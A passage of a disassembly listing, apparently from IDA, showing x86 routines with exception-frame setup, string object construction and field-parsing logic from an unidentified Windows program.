; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41C31C


loc_41C338:				; CODE XREF: ___:0041C314j
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41C390	proc near		; CODE XREF: sub_401D7Fj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41C390
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		lea	eax, [esp+5Ch+var_3C]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_41C390	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+24h]
		push	6
		push	edx
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+118h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		lea	ecx, [esp+20h]
		push	6
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+0EAh]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	eax, [esp+24h]
		push	8
		push	eax
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	edx, [esp+28h]
		push	8
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+60h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	ecx, [esp+4Ch]
		push	8
		push	ecx
		call	sub_4019B5
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017E4
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C610	proc near		; CODE XREF: sub_401064j

var_111		= byte ptr -111h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_F4		= byte ptr -0F4h
var_DC		= byte ptr -0DCh
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_94		= byte ptr -94h
var_7C		= byte ptr -7Ch
var_67		= byte ptr -67h
var_52		= byte ptr -52h
var_3D		= byte ptr -3Dh
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_41C610
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 108h
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+124h+var_10C]
		call	sub_401424
		lea	ecx, [esp+124h+var_DC]
		mov	[esp+124h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401424
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401424
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401424
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_401B36
		mov	esi, [esp+124h+arg_0]
		mov	bl, 5
		lea	ecx, [ebp+8Eh]
		mov	byte ptr [esp+124h+var_4], bl
		lea	edi, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		lea	ecx, [ebp+4]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41C83C
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 6
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 7
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 8
		jz	short loc_41C7CC
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41C7CE
; ---------------------------------------------------------------------------


loc_41C7CC:				; CODE XREF: sub_41C610+1AFj
		xor	edi, edi


loc_41C7CE:				; CODE XREF: sub_41C610+1BAj
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013D4


loc_41C83C:				; CODE XREF: sub_41C610+C0j
		lea	ecx, [ebp+60h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41C9BB
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 9
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Ah
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Bh
		jz	short loc_41C94B
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41C94D
; ---------------------------------------------------------------------------


loc_41C94B:				; CODE XREF: sub_41C610+32Ej
		xor	edi, edi


loc_41C94D:				; CODE XREF: sub_41C610+339j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013D4


loc_41C9BB:				; CODE XREF: sub_41C610+23Fj
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CBF6
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 0Ch
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Dh
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset word_44759A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 0Eh
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41CB5E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D212
; ---------------------------------------------------------------------------


loc_41CB5E:				; CODE XREF: sub_41C610+4D6j
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Fh
		jz	short loc_41CB86
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CB88
; ---------------------------------------------------------------------------


loc_41CB86:				; CODE XREF: sub_41C610+569j
		xor	edi, edi


loc_41CB88:				; CODE XREF: sub_41C610+574j
		lea	ecx, [esp+124h+var_10C]
		mov	byte ptr [esp+124h+var_4], bl
		push	ecx
		lea	ecx, [edi+11h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 0
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CBF6:				; CODE XREF: sub_41C610+3BEj
		lea	ecx, [ebp+0BCh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CD9B
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 10h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 11h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 12h
		jz	short loc_41CD0E
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CD10
; ---------------------------------------------------------------------------


loc_41CD0E:				; CODE XREF: sub_41C610+6F1j
		xor	edi, edi


loc_41CD10:				; CODE XREF: sub_41C610+6FCj
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CD9B:				; CODE XREF: sub_41C610+5FCj
		lea	ecx, [ebp+118h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CF40
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 13h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 14h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 15h
		jz	short loc_41CEB3
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CEB5
; ---------------------------------------------------------------------------


loc_41CEB3:				; CODE XREF: sub_41C610+896j
		xor	edi, edi


loc_41CEB5:				; CODE XREF: sub_41C610+8A1j
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CF40:				; CODE XREF: sub_41C610+7A1j
		lea	ecx, [ebp+0EAh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D1A1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 16h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 17h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+128h+var_F4]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	offset word_44759A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 18h
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41D0EC
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D212
; ---------------------------------------------------------------------------


loc_41D0EC:				; CODE XREF: sub_41C610+A64j
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 19h
		jz	short loc_41D114
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D114:				; CODE XREF: sub_41C610+AF7j
		xor	edi, edi


loc_41D116:				; CODE XREF: sub_41C610+B02j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_94]
		push	ecx
		lea	ecx, [edi+50h]
		call	sub_401FBE
		lea	edx, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	edx
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 1
		mov	al, [esi+93h]
		mov	[edi+92h], al
		mov	cl, [esi+94h]
		mov	[edi+93h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_41D1A1:				; CODE XREF: sub_41C610+116j
					; sub_41C610+295j ...
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_41D212:				; CODE XREF: sub_41C610+549j
					; sub_41C610+AD7j
		mov	ecx, [esp+124h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 114h
		retn	4
sub_41C610	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 310h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D540	proc near		; CODE XREF: sub_401B36j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D540
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D540	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D5D0	proc near		; CODE XREF: sub_4014B0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D5D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+58h]
		mov	[esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D5D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_4021C6j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D670
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		lea	ecx, [esi+7Ah]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
